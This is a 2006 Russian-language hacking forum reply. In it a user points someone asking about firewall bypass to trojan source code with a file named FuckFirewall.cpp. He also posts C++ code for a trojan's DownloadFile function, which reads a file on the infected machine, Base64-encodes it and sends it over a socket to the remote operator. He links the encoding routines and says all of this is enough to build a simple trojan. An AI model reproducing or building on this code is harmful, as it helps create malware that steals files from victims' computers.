Показать сообщение отдельно

  #3  
Старый 18.03.2006, 21:43
drmist
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме:
400609

Репутация: 239
По умолчанию

Жора
Нормально он все объяснил
vvs777
Я так понимаю, Вас интересуют способы обхода фаервола.
Если у Вас есть навоки в программировании, обратите внимание на эту тему: http://www.security-teams.net/index.php?showtopic=3059.
Там в сорсах траяна можно обнаружить файл FuckFirewall.cpp - это то, что Вам нужно.

По поводу скачивания в Base64 - думаю администрация не сильно обидится, если я немного насорю
Цитата:
void DownloadFile(SOCKET Socket, char* FilePath)
{
HANDLE hFile = CreateFile(FilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, 0);

if(hFile == INVALID_HANDLE_VALUE)
{
send(Socket, "- Failed\n", 9, 0);
return;
}

int Size = GetFileSize(hFile, 0);

HANDLE hReadBuff = GlobalAlloc(GMEM_FIXED, 54);
HANDLE hWriteBuff = GlobalAlloc(GMEM_FIXED, 74);
ULONG ddTemp;

wsprintf((char*)hWriteBuff, "+ Success. File size: %d bytes.\n", Size);
send(Socket, (char*)hWriteBuff, lstrlen((char*)hWriteBuff), 0);

for(int i = 0; i < Size / 54 + 1; i++)
{
ReadFile(hFile, hReadBuff, 54, &ddTemp, 0);
B64Encode(hReadBuff, ddTemp, hWriteBuff);
lstrcat((char*)hWriteBuff, "\n");
send(Socket, (char*)hWriteBuff, lstrlen((char*)hWriteBuff), 0);
}

GlobalFree(hReadBuff);
GlobalFree(hWriteBuff);
CloseHandle(hFile);
}
Цитата:
// base64.h
HANDLE B64EncodeAlloc(int BuffSize);
_stdcall B64CryptOneBlock(void* Block);
void B64Encode(void* hMem, int MemSize, void* hDest);
Функци base64 кодирования написаны на асме и занимают много метса, я залил их сюда:
https://drmist.ru/download/base64.cpp

Всего этого должно Вам хватить, чтобы собрать несложный троян со всеми необходимыми функциями.
Разумеется, если вы знаете, что делать с исходниками на C++
__________________
Никому нельзя верить...
 
Ответить с цитированием